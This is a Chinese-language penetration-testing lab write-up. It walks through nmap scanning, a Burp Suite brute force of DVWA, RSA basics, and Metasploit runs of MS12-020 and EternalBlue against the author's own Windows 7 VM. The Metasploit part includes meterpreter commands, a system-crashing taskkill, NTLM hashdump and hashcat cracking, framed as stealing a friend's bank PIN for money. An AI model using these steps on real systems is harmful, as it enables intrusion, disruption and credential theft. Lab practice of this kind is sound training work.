image-20221203215005991

对80端口扫描:

image-20221203215059881

wireshark抓包,是一个全连接。

image-20221203215130938

对81端口(关闭端口,防火墙开启)

nmap -sT 192.168.226.128 -p 81

image-20221203215247076

防火墙没有回复

也许是虚拟机NAT虚拟网卡的关系导致的扫描速度感觉和理论有些差距?只是一个猜测啦

参数:-sA ACK扫描

这种扫描与目前为止讨论的其它扫描的不同之处在于 它不能确定open(开放的)或者 open|filtered(开放或者过滤的))端口。 它用于发现防火墙规则,确定它们是有状态的还是无状态的,哪些端口是被过滤的。

发送ACK,看看服务器有没有反馈,进而判断端口有没有被防火墙屏蔽。

  • 如果被屏蔽了ACK包可能会被忽略
  • 如果没有屏蔽ACK包会返回TCP RST
  • 即便是端口开放,也是会忽略包滴

实际测试

nmap -sA 192.168.226.128 -p 81

image-20221203220422890

把防火墙关闭:

nmap -sA 192.168.226.128 -p 81

image-20221203220720717

就会有RST返回啦

参数:-sF -sN -sX

依旧是一种判断防火墙的方法

如果扫描系统遵循该RFC,当端口关闭时,任何不包含SYN,RST,或者ACK位的报文会导致 一个RST返回,而当端口开放时,应该没有任何响应。除了探测报文的标志位不同,这三种扫描在行为上完全一致。

谁遵守规定谁吃亏系列

  • -sN 不设置任何标志位 TCP flag 0
  • -sF 只设置TCP FIN
  • -sX 设置FIN PSH URG

    就像点亮圣诞树上所有的灯一样。

对于windows返回的是TCP RST+ACK

直接找个linux服务器扫:

nmap -sN a.dayiyi.top -p 443
nmap -sF a.dayiyi.top -p 443
nmap -sX a.dayiyi.top -p 443

主要的包是在15 、16号包

image-20221203222018388

image-20221203222120022

image-20221203222214705

发现可能因为有防火墙的缘故,所以都没有有返回的信息

最终获得的信息大概率也是前面的半连接获得的

对于windows,这个不是特别准确,即便是80已经开放,扫描出的结果是close

nmap -sX 192.168.226.128 -p 80

image-20221203222628995

NMAP 应用程序信息扫描

  • 更新nmap

    sudo su
    apt-get update
    apt --only-upgrade install nmap -y

    如果有信息,选YES就可以

    image-20221203223341615

  • 简单扫描(参数-sV)

    nmap -sV 192.168.226.128

    扫描结果还是比较准确滴

    image-20221203223545223

  • 其他的参数

    • --allports所有端口
    • --version-intensity <intensity> 版本强度
    • --version-light 相当于 --version-intensity 2更快
    • --version-all 相当于 --version-intensity 9
    • --version-trace 显示调试信息 相当于--packet-trace
  • 来个阴间参数

    nmap -sV --version-intensity 5 192.168.226.128 --version-trace

    image-20221203224543520

NMAP 操作系统信息扫描

参数
  • -O (启用操作系统检测
  • -A 同时启用操作系统检测和版本检测
  • --osscan-limit已经发现过TCP端口,直接用就好啦,省时间
  • --osscan-guess 默认启用,猜测
开扫
nmap -O 192.168.226.128

image-20221203224928526

扫描个linux机器,此机器dayi授权了,随便扫。

nmap -O a.dayiyi.top

还是听准确滴

image-20221203225340048

再扫一个

nmap -O co4.dayi.ink

这个机子是debian 11,还是有偏差的

image-20221203225824896

杂项

TTL

数据包存活时间(Time To Live)

每跳跃(hop)一个节点、路由,就会减一。

直到减少到0,如果减少到0,路由器便会取消该封包转发,并且可能会向原封包的发出者传送一个ICMP TTL封包以告知跃点数超限。

各类操作系统 32 64 128 均有

DF

IP协议中:Don't Fragment 是IP协议的首部的标志位位置

  • DF = 0 则允许分片
  • DF = 1 不允许分片

MF(More Fragment)

  • MF = 1 表示还有分片
  • MF = 0 这已经是最后一个

通过wireshark的抓包信息:

具体信息如下:

image-20221204015036607

Windows Size

窗口大小,是TCP堵塞控制的一种方法,在出现堵塞的情况时,TCP会尝试调整窗口大小。

同时,窗口大小也算是TCP的一个缓冲区,当缓冲区满了的时候,会发送ACK

image-20221204020126566

ACK

Acknowledgment number

ack序号的生效需要有FLAGS内:ACK=1

这个数字式通信中希望从另外一个设备得到的下一个数据包的序号。

image-20221204020341542

大部分系统会把ACK的序号,设置为回应包的数字

image-20221204022732488

FIN

TCP

  • ack(确认号)
  • seq (序号)

当flags

  • ACK=1 ack有效
  • SYN=1 请求连接
  • FIN=1 释放连接

TCP释放链接的时候

  • 客户端发送 FIN ACK seq=80=t | ack=u | 客户端放开进程,请求释放链接
  • 服务端发送 ACK seq=u | ack=80+1=81=v |服务器同意释放,半关闭状态
  • 服务端发送 FIN ACK seq=u | ack=80+1=81 =v |没有更多数据需要发送了,服务器应用进程通知TCP释放
  • 客户端发送 ACK seq=81=v ack=u+1|客户端收到释放请求,同意释放

image-20221204021414849

任务三:使用burp对于访问dvwa的数据进行抓包改包

这个任务其实主要是玩Burpsuite

更新软件包(可选)

burp suite 也会一起更新
  1. 不管三七二十一,先更新下软件包吧(挺慢的)可以喝茶去,我甚至觉得有点恐怖。

    sudo apt-get upgrade -y

    如果更新要是太慢了就CTRL+C,然后再输入一次,或者直接放弃(

    image-20221204024901357

    如果提示选择,就选YES就可。

    image-20221204030205034

    我电信网大概更新了20分钟左右(全程大概10MB/s以上)

    • 太慢?

      尝试更换镜像源到中科大。

      zsh终端如何粘贴?ctrl+shift+v
      sudo su
      sudo mv /etc/apt/sources.list /etc/apt/sources.list.bak
      
      #下面两行一起复制
      sudo echo 'deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
      deb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib' > /etc/apt/sources.list
      
      cat /etc/apt/sources.list
      #↑如果有 deb https://mirrors ... 和 deb-src https:// ... 就可以啦
      
      sudo apt-get update #更新包信息,如果没报错就对啦,或者说多输入几遍
      sudo apt-get upgrade -y

      文件内容如下:

      image-20221204031254556

登录到dvwa

  1. 登录

    http://192.168.226.128/dvwa/index.php

    image-20221204103951271

修改难度

  1. 选择难度,这次选择为中等
    image-20221204104015727

    然后点击提交

开始抓包,爆破

  1. 进入爆破登录:

    Brute Force

    1212

  2. 打开burp suite

    pic

  3. 建立临时项目,打开的时候如果有对话框点YES即可

    image-20221204104256235

  4. 使用默认设置即可

    image-20221204104346414

  5. 为了让我们的流量能被burp suite捕获,打开burp的代理设置

    记下这个代理服务器的地址:这里是127.0.0.1:8080

    image-20221204104454568

  6. 打开截断功能

    image-20221204110758823

  7. 修改火狐浏览器的设置,让火狐浏览器走代理

    划到最下面

    image-20221204104602818

    image-20221204104636421

    填写代理信息:

    image-20221204104744978

    点击保存(OK)

  8. 回到burpsuite,切换到到intruderimage-20221204105315971
  9. 我们提交一个表单,让burpsuite捕获

    记得刷新
    http://192.168.226.128/dvwa/vulnerabilities/brute/
    • 尝试打开之后,会卡住。
    • 打开burpsuite,发现包捕获成功

      image-20221204110957592

      但这个包不是需要修改的,所以就直接forward即可。

    • 模拟登录

      点击登录

      image-20221204111215877

    • 依旧网页没有响应,这时候burp suite会弹出来 ,如果没弹出来就点一下下

      内容大概如下:

      image-20221204111720032

    • 我们右键,然后send到intruder

      image-20221204111816298

      分析表单:

      如图:

      image-20221204112100588

  10. 我们发现需要修改的地方有两个,一个是用户名,一个是密码,其他的地方不需要进行爆破
  11. 神奇的dayi告诉你,有个用户名叫做:

    • 用户名:gordonb
    • 密码:?

    于是我们尝试对这个用户进行爆破

  12. 修改爆破表单,有些内容我们每个表单都一样,就删掉这个符号即可

    image-20221204112704627

  13. 添加字典

    这里用了常见密码的前1w

    字典下载:

    https://www.somd5.com/download/dict/top1w.zip

    备用下载地址:

    https://p.dabbit.net/blog/pic_bed/top1w_4d8229a2-7384-11ed-a1eb-0242ac120002.zip

    字典下好之后放到虚拟机里

    image-20221204113417558

    image-20221204113437990

  14. 放进去

    如下
    image-20221204113502537

    image-20221204113617498

  15. 开始爆破!

    实际上因为是社区版,爆破速度超级慢

    如果想提高速度可以使用氪金版,学习版(仅供学习),或者python代码

    image-20221204113656149

  16. 我们按服务器返回值进行排序

    image-20221204113839841

    发现这个包与众不同

    image-20221204113901789

    诶!

    这可能就是我们要找的东西啦!

    image-20221204113959938

  17. 查看提交的表单,密码是abc123

    我们赶紧试试,能不能登上去

试试能不能上号

  1. 关闭火狐的代理

    设置->通用->最下面:

    image-20221204114147215

  2. 用户名是:gordonb 密码是:abc123

    可以登录成功啦!

    image-20221204114255833

  3. 可以开个无痕

    image-20221204114752716

    没问题啦

    image-20221204114806909

公钥私钥体系

RSA

1.形式

有公钥和私钥

1.单项计算容易,但逆向很难

模运算是单项函数

计算 `

$$ 3^3 mod 7 =6 $$

很容易

但是知道

$$ 3^xmod7=6 $$

计算x很难

2.加密

对于一个数

$$ m^e mod N =c $$

其中e为秘钥,c为密文

3.解密

$$ c^d mod N = m $$

其中d是解密的秘钥

4.变换

将两个公式合并,可以得到

$$ m^{ed} \; mod \; N =m $$

那么可以得到

$$ m^{ed}\; \equiv \; m $$

引入

欧拉函数:

$$ φ(p)=p-1 $$

其中p为质数

如果(p,q)=1,有这个性质

$$ φ(p*q)=φ(p)*φ(q) $$

不知道为啥

这里解释一下为什么可以这么推

首先有欧拉定理:

$$ m^φ(n)\equiv 1 (mod \; n) $$

可以在等式的两端同时取k次幂

$$ (m^{φ(n)})^k\equiv 1^k (mod \; n) $$

然后等式两端同时乘以m

$$ m^{kφ(n)+1} \equiv m \; (mod \; n) $$

然后模运算变形

$$ m^{kφ(n)+1} \; mod \; n = m $$

这个式子和这个类似

$$ m^{ed} \; mod \; n =m $$

可以得到

$$ ed=kφ(n)+1 $$

然后可以选取k,n,e来获得d

然后

我们可以知道

$$ d = \frac{kφ(n)+1}{e} $$

此时,如果e=3

取一个p=17,q=23,其中(17,23)=1

那么可以得到

$$ φ(17*23)=φ(391)=352 $$

e=3,k=5

$$ d=\frac{kφ(n)+1}{e}=\frac{5*352+ 1}{3}=587 $$

这样

e:公钥

d:私钥

都有啦

然后把 e:公钥n:公布

例子

当前

公钥e=3,私钥d=587,n=391

要加密的数据为97

$$ 97^3 \; mod \; 391 = 79 $$

97为加密后的密文

解密:

$$ 79^{587} \; mod = 97 $$

还原

用了587这个秘钥

嗯,暂时就这样啦

补充

e需要满足:

$$ 1<e<φ(n) $$

$$ (e,φ(n))=1 $$

还有这个性质

$$ m^{kφ(n)} \; mod \;n =1 $$

其中n为前面欧拉函数的计算结果

RSA 密钥身份验证

CA

CA中心为每个使用公开密钥的用户发放一个数字证书,数字证书的作用是证明证书中列出的用户合法拥有证书中列出的公开密钥。CA机构的数字签名使得攻击者不能伪造和篡改证书。它负责产生、分配并管理所有参与网上交易的个体所需的数字证书,因此是安全电子交易的核心环节。在SET交易中,CA不仅对持卡人、商户发放证书,还要对获款的银行、网关发放证书。
  • 证书的内容包括:电子签证机关的信息、公钥用户信息、公钥、权威机构的签字和有效期等等。目前,证书的格式和验证方法普遍遵循X.509国际标准。
  • 加密:CA认证将文字转换成不能直接阅读的形式(即密文)的过程称为加密。
  • 解密:将密文转换成能够直接阅读的文字(即明文)的过程称为解密。

实际上最比较常见的是https的证书。

用openssl向CA发送CSR,CA同意之后,回送证书。

pic

pic

社会学攻击

利用人的弱点来进行攻击。

从广义上讲,社会工程学是操纵人们放弃敏感信息的做法。社交工程学攻击可能当面发生,例如盗匪装扮成送货员闯入建筑物。本文将重点关注社会工程学网络攻击。在大多数情况下,此类攻击旨在使受害者泄露登录凭据或敏感的财务信息。
  • 发送虚假的电子邮件
  • 诱骗用户登录网站
  • 联系用户,声称自己是百万首付等等

任务四:使用MSF对靶机进行漏洞利用并获得靶机信息进行密码破解

装一个新的WIN7

为什么要这么做?

因为我们是利用的漏洞,但是漏洞是会被修复的。还记得我们打的部分补丁吗?实际上你装其他软件的时候也可能会自动修复漏洞。

我们之前对上一个WIN7,做了很多修改,因此,为了更稳定的利用漏洞,我们直接装一个2011年的win7。

这样可以确保我们的漏洞尽可能的可能执行。

快速安装即可

  • 新建虚拟机->自定义高级->16.x及以下版本->
  • 光盘选择:cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso->
  • 选择windows 7 Ultimate (RDP利用的时候要用,很建议,但是如果没用这个版本也没关系)秘钥不用填->
  • 目录自己找就可以->BIOS->
  • 处理器先改成4以上,这样装系统快,然后再改成1,方便被攻击->
  • 内存2G及以上->NAT->SAS(直接下一步)->SCSI(直接下一步)->创建新的->60G(用多少占用多少,不是直接占用60G)->
  • 下一步->下一步->完成!
  • 开启笔记本性能模式会提速哦

使用简易安装即可

image-20221204120427176

挂网,然后大概15分钟内就可以啦(我用了8分钟)。

image-20221204120827252

这个网络随便设置啦,反正咱们要用漏洞打它。

查看win7系统的IP地址

很多种方法看IP啦,我这里是192.168.226.132

image-20221204121202307

给WIN7设置一个密码

如果你有啦就不用啦

设置密码真的很有用?防君子不防小人?
  • 开始->控制面板(在开始的右侧)->
  • 用户账户和安全->更改windows密码->创建密码,这里我写的是114514

    image-20221204121711037

  • 没事的话重启下windows,看看密码创建成功否(可选)

metasploit framework

你可以上面翻一翻如何一键更新所有软件包

下面只更新metasploit-framework

sudo apt-get --only-upgrade install metasploit-framework -y

这个软件是漏洞利用的常见框架,里面也收录了超多的漏洞,其实也是脚本小子的常用之物,那么今天我们就来当一次脚本小子,感受下脚本小子的快乐。

image-20221204121925912

初始化msf,直接终端输入:

sudo msfdb init && msfconsole

等一下就好啦。

有小兔子诶!

image-20221204122232018

漏洞利用:MS12-020

漏洞介绍

CVE-2012-0002

只要操作系统开启Remote Desktop Protocol (RDP)服务,远程攻击者在未经认证的情况下往服务器发送畸形恶意的数据包,便可以以系统权限或者NET SERVICE权限执行任意命令。

受影响设备

Windows XP Service Pack 3
Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2
Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 SP2(用于基于Itanium的系统)
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008
Windows Server 2008 R2
Windows 7

靶机环境的搭建

windows 7 打开RDP功能
  • 你安装的是家庭版家庭版是没有远程桌面滴,如果你是家庭版,请参考下面的教程

    旗舰版可以忽略这个,直接往下走。
    • 重装系统到旗舰版或者使用RDP修改工具(旗舰版也可以用这个方法)
    • RDP修改工具

      • 记下这个网址:https://p.dabbit.net/blog/dl_files/rdpwarp162.zip
      • 打开换个网址

        image-20221204124012588

        ​ 忽略证书错误

        image-20221204124059575

        解压

        image-20221204124143105

        image-20221204124203188

        等一会就修改好啦,然后RDP也不用开啦

        image-20221204124216324

      • 成功修改啦

        image-20221204124249652

      • 开始键+R,输入mstsc,输入127.0.0.2
      • 显示要输入凭证即可

        image-20221204124352251

  • 如果你安装的的是旗舰版

    • 打开资源管理器
    • 右键计算机->属性

      image-20221204123323581

    • 远程设置->允许运行任意版本远程桌面的计算机(较不安全)->确定

      image-20221204123448859

漏洞利用和复现

  • 启动msf

    msfconsole
  • 搜索漏洞

    search ms12-020

    image-20221204135413150

测试是否有漏洞
  • 使用漏洞

    use 0 #检测是否有漏洞
    #或者
    use auxiliary/scanner/rdp/ms12_020_check

    image-20221204135543915

  • 显示参数

    show options

    image-20221204135718308

    看来我们需要输入RHOSTS参数

  • 设置需要的参数

    set RHOSTS 192.168.226.132

    image-20221204135835593

  • 开始测试

    run

    image-20221204135908993

    看样子似乎存在

开打
exit
sudo su
msfconsole
search ms12-020
use 1
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
show options
set RHOSTS 192.168.226.132
run

image-20221204140507913

打不进去?

image-20221204140706026

没关系,WIN7 的核心太多了

我们把win7的核心改成一个。

image-20221204140823103

image-20221204145509120

  • 再次run
  • 成功打掉!

    image-20221204145642601

    image-20221204145731139

漏洞利用:MS17-010

漏洞:CVE-2017-0143,CVE-2017-0144,CVE-2017-0145,CVE-2017-0146,CVE-2017-0147,CVE-2017-0148

永恒之蓝漏洞,也就是当年的勒索病毒WannaCrypt

远程代码执行,攻击者可以获得SYSTEM用户权限,在被控制电脑上完全畅通无阻,整台电脑都已经被控制。出现什么样的事情,完全取决于被攻击者

受影响设备

Windows 2000
Windows XP | Windows Server 2003
Windows Vista
Windows 7 | Windows Server 2008 | Windows Server2008 R2
Windows 8 | Windows Server 2012
Windows 8.1 | Windows Server 2012 R2
以下受影响较小,默认SMBv1关闭
Windows 10 | Windows Server 2016
  • 在当年几乎是全部出现了问题,勒索病毒全网,包括银行ATM机等等

靶机环境搭建

  • 需要关闭windows的防火墙
  • 只要没有修复漏洞补丁和安装杀毒软件,很容易进行攻击。
防火墙的关闭

打开控制面板:(开始键+R:输入control)

  • 进入到这个位置:控制面板\系统和安全\Windows 防火墙

    (系统和安全->windows防火墙)

    image-20221204154242033

    image-20221204154325657

    image-20221204154339109

    image-20221204154350415

漏洞利用和复现

漏洞扫描(可选,速度很慢)

#在一个终端内
sudo su
msfconsole
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
show options

set RHOSTS 192.168.226.0/24 #扫描当前网络下所有的虚拟机,很慢

set RHOSTS 192.168.226.132 #扫描当前网络的两个虚拟机设备
run

set RHOSTS 192.168.226.128 #扫描当前网络的两个虚拟机设备
run

image-20221204153417034

扫描结果
  • 如果显示TimeoutRex::ConnectionTimeout: The connection with (192.168.226.128:445) timed out,大概率是防火墙未关闭。
  • 如果显示SMB Login ErrorAn SMB Login Error occurred while connecting to the IPC$ tree.漏洞可能已经修复
  • 如果显示NOT appear vulnerableHost does NOT appear vulnerable.表示漏洞可能已经被修复
  • 如果显示likely VULNERABLEHost is likely VULNERABLE to MS17-010!表示机会比较大,大概率有漏洞。

image-20221204154858796

漏洞利用

OK,我们已经扫描到需要攻击的靶机,现在开始利用漏洞

#在一个终端内
sudo su #切换到root
msfconsole #进入msf
search ms17-010 #搜索漏洞
use 0 #使用漏洞
use exploit/windows/smb/ms17_010_eternalblue #使用漏洞
show options #显示参数
set RHOSTS 192.168.226.132

image-20221204153146352

image-20221204165803902

开打

run

这样的情况就是打进去啦

image-20221204170010117

查询当前用户

shell
whoami

image-20221204171019875

权限是system,也就是系统的最高权限。

查看文件

在桌面新建一个文本文件

image-20221204171140611

尝试访问:

type C:\users\dayi\desktop\ovo.txt

#dayi是我的用户名
#desktop是桌面文件夹
#ovo.txt 是刚刚建立的文件

image-20221204171619149

成功查看到数据

如果想访问其他的文件也同理。

能做的事情

  • 输入exit,然后输入help

    image-20221204171911028

  • 能做的事情非常多
  • 我们启动一个计算机弹在桌面上:

    enumdesktops #显示当前会话的桌面
    execute -s 1 -f calc.exe #在会话1上启动计算器,因为会话0是SYSTEM用户的桌面

    image-20221204172510487

    image-20221204172529323

  • 打开记事本

    execute -s 1 -f notepad.exe

    image-20221204173117382

  • 查看arp表

    arp

    image-20221204173528880

  • 杀内核,直接蓝屏

    shell
    taskkill /f /im win*

    image-20221204173649381

  • 重启计算机(不一定可以执行成功,理论没有问题)

    reboot #重启
    #或者输入下面三行
    shell
    shutdown -r -f -t 0 #重启
    shutdown -s -f -t 0 #关机

靶机密码破解|综合:

模拟场景:我们获得了哥们的电脑。我们通过一定的手段得知,哥们的电脑密码与银行卡密码一样。

删除密码很容易,但是哥们的电脑密码跟银行卡密码一样。

我们想要的是米,于是我们需要获得电脑密码的原文。

利用MS17-010进行破解

准备工具

待破解密码的电脑,有永恒之蓝漏洞。

image-20221204173754654

利用MS17-010进行渗透

  1. 扫描当前网络下机器的IP地址

    nmap -sn 192.168.226.0/24

    image-20221204174039036

    推测这两台是可能是待破解机器IP。

    考虑到一般情况,可以排除128是我们已知的服务器,所以132就是我们要破解的机器。

  2. 信息收集,使用nmap收集全部的信息

    nmap -A 192.168.226.132 #扫描全部可能的信息,速度较慢

    image-20221204175025831

  3. 发现可能性存在漏洞,使用MS17-010扫描工具进行扫描

    sudo su #切换到root用户
    msfconsole #打开msf控制台
    use auxiliary/scanner/smb/smb_ms17_010 #使用ms17-010漏洞扫描工具
    show options #显示选项
    set RHOSTS 192.168.226.132 #设置主机 ←复制的时候别复制上中文啦
    run #开始测试

    image-20221204175145673

  4. 发现有希望打入

    image-20221204175259271

  5. 尝试渗透

    use exploit/windows/smb/ms17_010_eternalblue #使用漏洞
    set RHOSTS 192.168.226.132
    run

    image-20221204175415830

  6. 进入成功

    image-20221204175533576

  7. 输入hashdump

    获得密码哈希运算之后的值

    meterpreter > hashdump
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    dayi:1000:aad3b435b51404eeaad3b435b51404ee:0a1f2055b4ba71c5251d8ef7c235996b:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    meterpreter > 

image-20221204175643740

  1. 尝试暴力破解hash值

    根据构想情况,哥们的密码是银行密码所以是6位数字,但是是多少咱们不知道。

    我们已经知道哥们的密码是6位数字

    密码的hash值是0a1f2055b4ba71c5251d8ef7c235996b

image-20221204175958482

使用hashcat进行密码爆破

已知
  • windows 7 的密码哈希方式NTLM
  • NT LAN Manager=NTLM
  • 需要破解的hash值为0a1f2055b4ba71c5251d8ef7c235996b
  • 原文是6位数字
  • 哈希猫(hashcat)是一个高级密码恢复工具

构建指令
  • 参数-a

    • -a 0 字典模式
    • -a 1 组合模式,从字典组合
    • -a 3 暴力模式
    • -a 6/7 组合+掩码(-a 6)+ 单词表(-a 7)
    • -a 9 关联攻击,用相关的用户名、文件名、提示
  • 参数-m

  • 参数--force

    --force Ignore warnings  #忽略警告
  • 参数内置字符

    Built-in charsets
    ?l = abcdefghijklmnopqrstuvwxyz
    ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
    ?d = 0123456789
    ?h = 0123456789abcdef
    ?H = 0123456789ABCDEF
    ?s = «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
    ?a = ?l?u?d?s
    ?b = 0x00 - 0xff
  • 更多参数可以看这个

    https://hashcat.net/wiki/doku.php?id=hashcat

综上,我们可以构建指令

hashcat --force -a 3 -m 1000 0a1f2055b4ba71c5251d8ef7c235996b ?d?d?d?d?d?d
运行
sudo su
#可选,测速运行:
time hashcat --force -a 3 -m 1000 0a1f2055b4ba71c5251d8ef7c235996b ?d?d?d?d?d?d
#正常运行
hashcat --force -a 3 -m 1000 0a1f2055b4ba71c5251d8ef7c235996b ?d?d?d?d?d?d

image-20221204181931259

运行起来还是非常快的

image-20221204182447260

整个过程用了3.5秒
密码是:114514

尝试登录系统

输入密码:114514

image-20221204182605777

登陆成功!

image-20221204182726897

任务完成!

markdown 源文件74KB
2327 行,12996词